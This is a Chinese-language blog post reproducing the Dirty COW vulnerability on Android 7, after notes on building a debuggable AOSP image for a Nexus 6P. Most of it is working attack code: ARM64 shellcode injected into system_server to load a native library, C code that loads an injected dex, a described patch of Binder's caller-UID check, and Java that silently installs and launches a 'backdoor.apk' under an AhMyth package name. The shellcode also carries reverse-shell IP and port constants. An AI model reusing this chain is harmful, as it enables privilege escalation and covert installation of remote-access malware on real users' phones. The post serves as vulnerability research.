美文网首页
脏牛漏洞安卓复现

脏牛漏洞安卓复现

作者: bluecake | 来源:发表于2018-03-04 21:48 被阅读0次

    脏牛漏洞安卓复现


    最近花了一些时间研究如何在Android系统上复现脏牛漏洞以及如何利用脏牛漏洞实现应用的静默安装,中间遇到了许多问题,这里做一个简单的记录与整理。

    这篇文章主要介绍整个分析环境的配置过程、漏洞触发后的应用静默安装实现原理、需要用到的调试方法,以及一些可能遇到的问题。

    编译可调式安卓系统

    准备工具

    1. Ubuntu14.04(官方编译推荐系统版本,推荐使用docker)
    2. Nexus 6P(谷歌亲儿子,刷机什么的比较方便)
    3. 配置要求:内存最好在16G以上(编译Android7.0占用内存会较多)

    下载源码

    更多细节参考清华大学镜像站

    Note:下载可以支持Nexus 6P的版本,具体信息可查看版本编号及支持

    配置编译环境

    详细过程参考谷歌官方
    需要注意的是Android6.0 和Android7.0对openjdk版本要求不同

    Note: 一定要严格按照官方的步骤来,这样可以减少编译出错的可能性

    编译

    编译过程比较慢,推荐使用Ccache + 服务器编译(并没有CCache带来的性能提升进行过实际的对比测试,所以这里可用也可不用)

    • 加载环境变量
      source build/envsetup.sh
    • 选择编译目标
    root@94a6988dc437:/data/AOSP/android-7.1.1_r27# lunch
    
    You're building on Linux
    
    Lunch menu... pick a combo:
         1. aosp_arm-eng
         2. aosp_arm64-eng
         3. aosp_mips-eng
         4. aosp_mips64-eng
         5. aosp_x86-eng
         6. aosp_x86_64-eng
         7. full_fugu-userdebug
         8. aosp_fugu-userdebug
         9. mini_emulator_arm64-userdebug
         10. m_e_arm-userdebug
         11. m_e_mips-userdebug
         12. m_e_mips64-eng
         13. mini_emulator_x86-userdebug
         14. mini_emulator_x86_64-userdebug
         15. aosp_dragon-userdebug
         16. aosp_dragon-eng
         17. aosp_marlin-userdebug
         18. aosp_sailfish-userdebug
         19. aosp_flounder-userdebug
         20. aosp_angler-userdebug
         21. aosp_bullhead-userdebug
         22. hikey-userdebug
         23. aosp_shamu-userdebug
    
    Which would you like? [aosp_arm-eng] 20
    

    nexus 6P对应的设备编号是angler,nexus 6的设备编号是shamu。因为userdebug版本拥有原生root及系统调试功能,所以这里选择编译该版本。

    • 开始编译
      编译脚本如下:
    #/bin/bash
    
    export USER=root
    export JACK_SERVER_VM_ARGUMENTS="-Dfile.encoding=UTF-8 -XX:+TieredCompilation -Xmx4g"
    
    if [ "$1" != "" -a $1 != "2" ]; then
        make -j$1
    else
        make -j2
    fi
    

    **Note: **

    1. export USER=root 编译的过程中会用到USER变量
    2. export JACK_SERVER_VM_ARGUMENTS给java虚拟机设置4G内存

    线程数根据电脑配置选择,一般为2×CPUs + 2就够了(具体参数可根据实际情况调整)

    刷机

    编译完成后就可以准备把编译好的系统刷到手机里面了

    • 准备驱动文件
      根据编译的系统版本下载对应的工厂镜像,比如我编译的时候使用的是Android7.1.1_r27,对应的编译版本号为NUF26N。这个版本比较新,可以直接到驱动页面下载。

    Note: 对于比较老的版本,驱动页面并没有提供相应的驱动下载,使用从工厂镜像中提取的驱动也不能启动系统,这里暂时没有解决方案,所以临时的解决办法是在比较新的版本上编译调试分析,然后使用工厂镜像在老的系统中测试漏洞效果。当然,如果我们只需要要调试native层的代码,可以编译出对应版本的调试版,然后再去替换掉对应的so库。

    脏牛漏洞测试

    项目参考VIKIROOT

    根据项目介绍,攻击成功后可以获得一个带root权限的shell,但其针对的版本是Android6.0。在Android7.0上并不能得到带root权限的shell,通过调试发现是selinux机制阻挡了这一攻击。事实上Android7.0的selinux的规则比Android6.0上的规则要复杂很多,因此在Android6.0上可以利用成功,但在Android7.0上是失败的。

    • 配置交叉编译环境
      后续的步骤会涉及到三种代码的编译:C、ARM、JAVA
      -- ARM
      编译shellcode
      -- C
      编译JNI调用Java代码
      -- Java
      功能模块,完成后续的应用安装及授权操作

    • 配置NDK patch
      在Android里面Java和C代码的相互调用需要用到jni接口。一般情况下,如果我们开发的是一个正常的app,操作系统会主动给APP提供一个JNIEnv* env的参数。但我们注入的C代码并不具备这样的条件,所以需要调用NDK未公开API——android::AndroidRuntime::getJNIEnv() 来获取jni接口。如果要使用这个接口的话,需要对NDK做一些patch

    • Java代码打包
      因为后面需要用到dex动态加载,所以先介绍一下如何把class文件打包成dex文件。
      这里为了方便操作以及保证使用Java版本的一致性,先是使用AndroidStudio编译出相应的class文件,并使用jar命令进行打包,然后再使用dx命令将对象转换成dex文件

     13     # compile dex                                                           
     14     rm com -r
     15     cp test/JniLoadDex/app/build/intermediates/classes/debug/com com -r 
     16     jar cvf inject.jar com
     17     dx --dex --output=inject.dex inject.jar
    

    选择注入进程

    因为system_server在Android系统中起着至关重要的作用(安装应用、Acitivity管理、其他系统服务等),因此如果能够控制system_server则意味着我们已经可以控制整个系统的运行。

    任意Java代码执行

    当然,因为shellcode本身并不知道dlopen的函数地址,所以我们第一步需要做的是确定dlopen函数和dlsym函数的地址。

    ** Note: ** 事实上,我们并不需要首先使用dlopen对加载需要的库,因为系统在启动时已经将对应的库加载了,可以直接使用dlsym(RTLD_NEXT, funcname)去获取对应的函数地址。并且经过测试,发现在Android7.0中使用dlopen会映射新的so库,这就导致无法使用native反调java代码,因为对应的全局变量并没有经过初始化。

    如果我们尝试去打印linker段的内存,我们可以看到下面的内容

    0x0000007cc9a5e000 0x0000007cc9a5f000 rw-p  /system/bin/linker64
    
    0x7cc9a5e000 <__dl__ZL10g_dl_mutex>:    0x4000  0x0
    0x7cc9a5e010 <__dl__ZL10g_dl_mutex+16>: 0x0 0x0
    0x7cc9a5e020 <__dl__ZL10g_dl_mutex+32>: 0x0 0x122
    0x7cc9a5e030 <__dl__ZL14g_libdl_symtab+8>:  0x0 0x0
    0x7cc9a5e040 <__dl__ZL14g_libdl_symtab+24>: 0x1001000000000 0x7cc99b8368 <__dl_dlopen>
    0x7cc9a5e050 <__dl__ZL14g_libdl_symtab+40>: 0x0 0x1001000000007
    0x7cc9a5e060 <__dl__ZL14g_libdl_symtab+56>: 0x7cc99b85d4 <__dl_dlclose> 0x0
    0x7cc9a5e070 <__dl__ZL14g_libdl_symtab+72>: 0x100100000000f 0x7cc99b8434 <__dl_dlsym>
    0x7cc9a5e080 <__dl__ZL14g_libdl_symtab+88>: 0x0 0x1001000000015
    0x7cc9a5e090 <__dl__ZL14g_libdl_symtab+104>:    0x7cc99b8208 <__dl_dlerror> 0x0
    

    事实上,vdso和linker之间的偏移量也是固定的

     0x000000790fe39000 0x000000790fe3b000 r-xp [vdso]
     0x000000790fe3b000 0x000000790fee5000 r-xp /system/bin/linker64
    0x000000790fee5000 0x000000790fee8000 r--p  /system/bin/linker64
    0x000000790fee8000 0x000000790fee9000 rw-p  /system/bin/linker64
    

    **Note: ** 不同版本的系统内存映射可能不太一样,但在Android下面每一个APP都是由Zygote调用fork产生的,所以编写一个APP就可以得到相关的偏移量。另外一个需要注意的问题是,不同版本的系统也会导致linker段上存储__dl_dlopen函数和__dl_symbol函数地址的偏移量发生改变。当然了,这个也可以通过APP来进行预处理。

    有了以上的准备之后,就可以加载so库了

    //加载so库的shellcode
    .equ SYS_OPENAT, 0x38
    .equ SYS_WRITE, 0x40
    .equ SYS_CLOSE, 0x39
    
    .equ SYS_SOCKET, 0xc6
    .equ SYS_CONNECT, 0xcb
    .equ SYS_BIND, 0xc8
    .equ SYS_LISTEN, 0xc9
    .equ SYS_DUP3, 0x18
    .equ SYS_CLONE, 0xdc
    .equ SYS_EXECVE, 0xdd
    .equ SYS_EXIT, 0x5d
    .equ SYS_READLINKAT, 0x4e
    .equ SYS_GETUID, 0xae
    .equ SYS_GETPID, 0xac
    
    .equ AF_INET, 0x2
    .equ AF_UNIX, 0x1
    .equ O_EXCL, 0x80
    .equ O_CREAT, 0x40
    .equ O_APPEND, 0x400
    .equ S_IRWXU, 0x1c0
    .equ O_WRONLY, 0x1
    .equ SOCK_STREAM, 0x1
    
    .equ STDIN, 0x0
    .equ STDOUT, 0x1
    .equ STDERR, 0x2
    .equ SIGCHLD, 0x11
    
    .equ SHELL_IP, 0x682e020a  //ip:   10.2.46.104
    .equ SHELL_PORT, 0x5d11    //port: 4445
    .equ LOCALHOST_IP, 0x0100007f  //ip:   127.0.0.1
    .equ UID_SYSTEM, 1000
    
    _start:
        // save enviroment
        stp    x0, x1, [sp, #-0x10]!
        // determine whether current process is root 
        // (or some specific) process
        mov    x8, SYS_GETUID
        svc    0
        cmp    w0, UID_SYSTEM
        b.ne   return
    
        // try openat("/data/lock", O_CREAT|O_EXCL, ?)
        // if failed, exit
        // just for avoiding conflict 
        mov    x0, 0
        adr    x1, lockfile
        mov    x2, O_CREAT|O_EXCL
        mov    x3, S_IRWXU
        mov    x8, SYS_OPENAT
        svc    0
        cmp    w0, #0
        b.le   return
       
        add    sp, sp, #-0x30
        stp    x16, x30, [sp, 0x10]
    
        adr    x1, 0
        and    x1, x1, #0xfffffffffffff000 
    
        // offset depends on the addr distance between vdso and .bss section of linker64
        // for example, with vmmap like below
        //     0x000000790fe39000 0x000000790fe3b000 r-xp   [vdso]
        //     0x000000790fe3b000 0x000000790fee5000 r-xp   /system/bin/linker64
        //     0x000000790fee5000 0x000000790fee8000 r--p   /system/bin/linker64
        //     0x000000790fee8000 0x000000790fee9000 rw-p   /system/bin/linker64
        // .bss of linker64 start address is 0x000000790fee8000
        // .text of linker64 start address is 0x000000790fe3b000
        // what's more ? 
        // In the shellcode, we can locate ourself
        // and the offset to vdso end is always 0x1000
        // so the total offset is 0x000000790fe3b000 - 0x000000790fee8000 + 0x1000
        //add    x1, x1, 0xae000
        add    x1, x1, 0x2000
    
        // now let's go to find dlopen and dlsym
        // in bss setion of linker64 
        // we can find data like below:
        //     0x0000007cc9a5e000 0x0000007cc9a5f000 rw-p   /system/bin/linker64
        //
        //     0x7cc9a5e000 <__dl__ZL10g_dl_mutex>: 0x4000  0x0
        //     0x7cc9a5e010 <__dl__ZL10g_dl_mutex+16>:  0x0 0x0
        //     0x7cc9a5e020 <__dl__ZL10g_dl_mutex+32>:  0x0 0x122
        //     0x7cc9a5e030 <__dl__ZL14g_libdl_symtab+8>:   0x0 0x0
        //     0x7cc9a5e040 <__dl__ZL14g_libdl_symtab+24>:  0x1001000000000 0x7cc99b8368 <__dl_dlopen>
        //     0x7cc9a5e050 <__dl__ZL14g_libdl_symtab+40>:  0x0 0x1001000000007
        //     0x7cc9a5e060 <__dl__ZL14g_libdl_symtab+56>:  0x7cc99b85d4 <__dl_dlclose> 0x0
        //     0x7cc9a5e070 <__dl__ZL14g_libdl_symtab+72>:  0x100100000000f 0x7cc99b8434 <__dl_dlsym>
        //     0x7cc9a5e080 <__dl__ZL14g_libdl_symtab+88>:  0x0 0x1001000000015
        //     0x7cc9a5e090 <__dl__ZL14g_libdl_symtab+104>: 0x7cc99b8208 <__dl_dlerror> 0x0
        // so things are pretty easy
        // we just need to add some offset to .bss start address, and then we can get dlopen and dlsym
        add    x2, x1, 0x48  //0x48, 0x88
        ldr    x3, [x2]  //get __dl_dlopen
        add    x2, x1, 0x78  //0x78, 0xb8
        ldr    x4, [x2]  //get __dl_dlsym
        stp    x3, x4, [sp, 0]
        add    x2, x1, 0xa0
        //lhandle = dlopen("target.so", LD_NOW)
        adr    x0, sopath
        mov    x1, 2
        ldr    x3, [sp]
        blr    x3
        str    x0, [sp, 0x20]
    
        //libentry = dlsym(lhandle, "libentry")
        adr    x1, fun_libentry
        ldr    x3, [sp, #8]
        blr    x3
        blr    x0
        ldp    x16, x30, [sp, 0x10]
        add    sp, sp, #0x30
    
    return:
        ldp    x0, x1, [sp]
        add    sp, sp, 0x10
        mov    x17, x30
        mov    x30, x16
        cmp w0, #0x0
        ccmp    w0, #0x1, #0x4, ne
        br     x17
    
    exit:
        mov    x0, 0
        mov    x8, SYS_EXIT
        svc    0
    
    shell_addr:
        .short AF_INET
        .short SHELL_PORT
        .word  LOCALHOST_IP
    
    lockfile:
        .string "/data/lock"
        .balign 4
    
    sopath:
        .string "/data/libinject.so"
        .balign 4
    
    fun_libentry:
        .string "shellcode"
        .balign
    
    filepath:
        .string "/sdcard/log.txt"
        .balign 4
    

    So库实现代码

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <jni.h>
    #include <android/log.h>
    #include <android_runtime/AndroidRuntime.h>
    #include <pthread.h>
    
    //#define DEBUG
    
    #ifdef __cplusplus
    extern "C"
    {
    #endif
    
    #define  LOG_TAG "haha"
    #define  LOGD(fmt, args...)  __android_log_print(ANDROID_LOG_DEBUG,LOG_TAG, fmt, ##args)
    
    #define NULL_CHECK(func_name, result) {                 \
        if (result == 0)                                    \
        {                                                   \
            LOGD("Call function %s failed at line %d", func_name, __LINE__);     \
            kill(getpid(), SIGKILL);                        \
            exit(0);                                        \
        }                                                   \
    }
    
    void waitfordebugger()
    {
        int i=0;
        while(i < 100000)
        {
            usleep(100000);
            i++;
        }
    }
    
    jstring C2JString(JNIEnv *env, char *in) {
        return env->NewStringUTF(in);
    }
    
    void loaddex(JNIEnv *env, char *_dexpath)
    {
        //查找ClassLoader类并调用静态方法获取系统的classloader对象
        jclass clazzClassLoader = env->FindClass("java/lang/ClassLoader");
        jmethodID mid_getsysloader = env->GetStaticMethodID(clazzClassLoader,
                                                            "getSystemClassLoader",
                                                            "()Ljava/lang/ClassLoader;");
        jobject parent_loader = env->CallStaticObjectMethod(clazzClassLoader, mid_getsysloader);
    
        //查找DexClassLoader类并且创建对象生成优化后的dex
        jclass clazzDexClassLoader = env->FindClass("dalvik/system/DexClassLoader");
        jmethodID mid_DexClassLoader = env->GetMethodID(clazzDexClassLoader,
                                                        "<init>",
                                                        "(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/ClassLoader;)V");
    
        jstring dexpath = C2JString(env, _dexpath);
        jstring odexpath = C2JString(env, "/data/test");
        jobject loader = env->NewObject(clazzDexClassLoader, mid_DexClassLoader,
                                                        dexpath,
                                                        odexpath,
                                                        NULL,
                                                        parent_loader);
        NULL_CHECK("env->NewObject", loader);
        //加载需要注入的class
        jclass classLoaderClass = env->GetObjectClass(loader);
        jmethodID  mid_loadClass = env->GetMethodID(classLoaderClass, "loadClass", "(Ljava/lang/String;)Ljava/lang/Class;");
        jclass injectClass = (jclass)env->CallObjectMethod(loader, mid_loadClass, C2JString(env, "com.example.bluecake.jniloaddex.inject"));
    
        //调用入口函数
        jmethodID  mid_test = env->GetStaticMethodID(injectClass, "test", "()V");
        env->CallStaticVoidMethod(injectClass, mid_test);
        return;
    }
    
    void* entry(void *arg)
    {
        waitfordebugger();
        //do works here
        JavaVM *jvm;
        JNIEnv *env;
        jvm = android::AndroidRuntime::getJavaVM();
        env = android::AndroidRuntime::getJNIEnv();
        if (env != NULL)
            loaddex(env, "/data/inject.dex");
        return ;
    }
    
    void shellcode(void)
    {
        pthread_t tid;
        pthread_create(&tid, NULL, &entry, NULL);
        return ;
    }
    
    #ifdef __cplusplus
    }
    #endif
    

    到这里,按道理已经可以任意安装了呀,但还有一个问题:应用安装过程是通过一个system_server里面的一个线程来处理的,和这个线程通信的接口是通过binder进行通信。但是,安装服务对发起者有一个限制:应用安装发起者只能是root用户或特定UID(系统内置应用安装软件)。也就是说,我们以system_server的身份发起的应用安装请求会被直接挡掉。

    那么,是不是就没有办法了呢?注意到这里使用的脏牛漏洞,所以我们可以修改任意二进制代码,那么只要在触发漏洞前把Binder->getCallingUid给patch掉就行了。一开始直接将返回值修改为零,但是发现system_server会反复崩溃并重启,解决方案是添加一段跳板代码,如果检测到发起方是程序自身,则修改返回值,反之保持现状。

    应用安装的代码参考系统安装应用的代码

    //Inject.java源码
    package com.example.bluecake.installapp;
    
    import android.app.PendingIntent;
    import android.content.Context;
    import android.content.Intent;
    import android.content.pm.PackageInstaller;
    import android.content.pm.PackageManager;
    import android.content.res.AssetManager;
    import android.os.Looper;
    import android.util.Log;
    
    import java.io.BufferedReader;
    import java.io.File;
    import java.io.FileInputStream;
    import java.io.IOException;
    import java.io.InputStream;
    import java.io.InputStreamReader;
    import java.io.OutputStream;
    import java.io.PrintWriter;
    import java.io.StringWriter;
    import java.lang.reflect.Method;
    
    import static android.system.Os.getuid;
    
    /**
     * Created by bluecake on 17-8-16.
     */
    
    public class inject {
        static String do_exec(String cmd) {
            String s = "";
            try {
                Process p = Runtime.getRuntime().exec(cmd);
                BufferedReader in = new BufferedReader(
                        new InputStreamReader(p.getInputStream()));
                String line = null;
                while ((line = in.readLine()) != null) {
                    s += line + "/n";
                }
            } catch (IOException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            }
            return s;
        }
    
        public static void install(final String path)
        {
            Log.i("haha", "start of test");
            new Thread(new Runnable() {
                @Override
                public void run() {
                    Log.i("haha", "work thread started");
                    try{
                        Looper.prepare();
                        Class atc = Class.forName("android.app.ActivityThread");
                        Method systemMainMethod = atc.getDeclaredMethod("systemMain");
                        Object ActivityThreadInstance = systemMainMethod.invoke(null);
                        Method getSystemContextMethod = atc.getDeclaredMethod("getSystemContext");
                        Context context = (Context)getSystemContextMethod.invoke(ActivityThreadInstance);
    
                        //开始安装进程
                        PackageManager pm = context.getPackageManager();
                        PackageInstaller packageInstaller = pm.getPackageInstaller();
                        PackageInstaller.Session session = null;
                        String pakagePath = path;
                        File file = new File(pakagePath);
    
                        PackageInstaller.SessionParams params = new PackageInstaller.SessionParams(
                                PackageInstaller.SessionParams.MODE_FULL_INSTALL
                        );
                        params.setAppPackageName("ahmyth.mine.king.ahmyth");
                        params.setInstallLocation(-1);
                        params.setSize(file.length());
    
                        int sessionid = packageInstaller.createSession(params);
                        InputStream inputStream = new FileInputStream(file);
                        long sizeBytes = file.length();
    
                        session = packageInstaller.openSession(sessionid);
                        OutputStream outputStream = session.openWrite("PackageInstaller", 0, sizeBytes);
    
                        int c;
                        byte[] buffer = new byte[65536];
                        while((c = inputStream.read(buffer)) != -1)
                        {
                            outputStream.write(buffer, 0, c);
                        }
                        session.fsync(outputStream);
                        inputStream.close();
                        outputStream.close();
    
                        // fake intent
                        Context app = context;
                        Intent intent = new Intent(app, AlarmReceiver.class);
                        PendingIntent alarmtest = PendingIntent.getBroadcast(app,
                                sessionid, intent, PendingIntent.FLAG_UPDATE_CURRENT);
                        session.commit(alarmtest.getIntentSender());
                        session.close();
                        Log.i("haha", "ok, here we go");
                    }
                    catch (Exception e)
                    {
                        StringWriter sw = new StringWriter();
                        PrintWriter pw = new PrintWriter(sw);
                        e.printStackTrace(pw);
                        String sStackTrace = sw.toString();
                        Log.i("haha", sStackTrace);
                    }
                }
            }).start();
            Log.i("haha", "end of test");
        }
    }
    
    //MainActivity.java源码
    package com.example.bluecake.installapp;
    
    import android.content.Intent;
    import android.content.res.AssetManager;
    import android.support.v7.app.AppCompatActivity;
    import android.os.Bundle;
    import android.util.Log;
    import android.view.View;
    import android.widget.Button;
    import android.widget.TextView;
    
    import java.io.ByteArrayOutputStream;
    import java.io.FileOutputStream;
    import java.io.IOException;
    import java.io.InputStream;
    import java.io.OutputStream;
    
    import static android.system.Os.getuid;
    
    public class MainActivity extends AppCompatActivity {
    
        // Used to load the 'native-lib' library on application startup.
        static {
            System.loadLibrary("native-lib");
        }
    
        public void copyFromAssets(String filename)
        {
            try {
                AssetManager am = getAssets();
                InputStream is = am.open(filename);
                String DataDir = getDataDir().getPath();
                String OutputPath = DataDir + "/" + filename;
                OutputStream os = new FileOutputStream(OutputPath);
                byte flush[]  = new byte[1024];
                int len = 0;
                while(0<=(len=is.read(flush))){
                    os.write(flush, 0, len);
                }
                os.close();
                is.close();
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    
        @Override
        protected void onCreate(Bundle savedInstanceState) {
            super.onCreate(savedInstanceState);
            setContentView(R.layout.activity_main);
    
            copyFromAssets("backdoor.apk");
            copyFromAssets("patch");
            String patch_path = getDataDir().getPath() + "/patch";
            inject.do_exec("chmod 777 " + patch_path);
    
            Button bInstall = (Button)findViewById(R.id.install);
            bInstall.setOnClickListener(
                    new View.OnClickListener() {
                        @Override
                        public void onClick(View view) {
                            String patch_path = getDataDir().getPath() + "/patch";
                            String result = inject.do_exec(patch_path + " " + getuid());
                            Log.i("haha", result);
    
                            String apk_path = getDataDir().getPath() + "/backdoor.apk";
                            inject.install(apk_path);
    
                            try {
                                Thread.sleep(1000);
                            } catch (InterruptedException e) {
                                e.printStackTrace();
                            }
    
                            try {
                                String PakageName = "ahmyth.mine.king.ahmyth";
                                String ClassName = "ahmyth.mine.king.ahmyth.MainActivity";
                                Intent intent = new Intent(Intent.ACTION_VIEW);
                                intent.setClassName(PakageName, ClassName);
                                startActivity(intent);
                            }
                            catch (Exception e)
                            {
                                e.printStackTrace();
                            }
                        }
                    }
                );
        }
    
        /**
         * A native method that is implemented by the 'native-lib' native library,
         * which is packaged with this application.
         */
        public native String stringFromJNI();
    }
    

    相关文章

      网友评论

          本文标题:脏牛漏洞安卓复现

          本文链接:https://www.haomeiwen.com/subject/rcvqfftx.html